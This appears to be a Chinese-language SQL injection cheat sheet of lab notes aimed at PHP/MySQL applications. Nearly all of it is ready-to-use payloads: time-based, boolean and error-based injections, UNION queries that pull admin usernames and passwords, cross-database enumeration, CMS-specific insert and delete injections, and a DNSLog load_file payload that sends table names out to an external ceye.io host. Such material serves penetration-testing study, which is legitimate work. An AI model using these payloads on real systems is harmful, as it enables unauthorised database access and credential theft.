//查询当前数据库demo01中第一个表名 id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='demo01' limit 0,1 ),".dbuh8a.ceye.io\\xxx.txt"))
and sleep(1); and if(1>2,sleep(1),0); and if(1<2,sleep(1),0);
布尔：
1 2 3 4 5 6
and length(database())=7; and left(database(),1)='p'; and left(database(),2)='pi'; and substr(database(),1,1)='p'; and substr(database(),2,1)='i'; and ord(left(database(),1))=112;
报错：
1 2 3
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 0x7e --> ~ 0x5c --> \
PHP开发项目-输出结果&开启报错 基于延时：都不需要 and if(1=1,sleep(5),0) 基于布尔：有数据库输出判断标准 and length(database())=6 基于报错：有数据库报错处理判断标准 and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) 测试delete注入： （有无回显，有无报错） 删除（延迟）： 1 and if(1=1,sleep(5),0) 删除（布尔）： 3 and length(database())=6（无回显 无法判断注入） 删除（报错）： 4 and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
PHP-MYSQL-CMS案例-插入报错&删除延时
1、xhcms-insert报错
1
' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '
2、kkcms-delete延时
1 2 3
and if(1=1,sleep(5),0) or if(1=1,sleep(5),0) or if(ord(left(database(),1))=107,sleep(2),0)
order by 6 union select 1,2,3,4,5,6 union select 1,2,3,database(),user(),6 union select 1,2,3,version(),@@version_compile_os,6 union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01' union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='admin' union select 1,2,3,username,password,6 from admin limit 0,1
PHP-MYSQL-SQL跨库查询
影响条件：当前数据库ROOT用户权限 测试不同数据库用户：root demo
1 2 3 4
union select 1,2,3,4,group_concat(schema_name),6 from information_schema.schemata union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='zblog' union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='zbp_member' and table_schema='zblog' union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member
http://localhost:63342/demo01/new.php?id=3 select * from news where id=3
http://localhost:63342/demo01/new.php?id=3 union select 1,2,username,password,5,6 from admin select * from news where id=3 union select 1,2,username,password,5,6 from admin
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='demo01' and table_name='admin'
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='zblog'
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='zblog' and table_name='zbp_member'
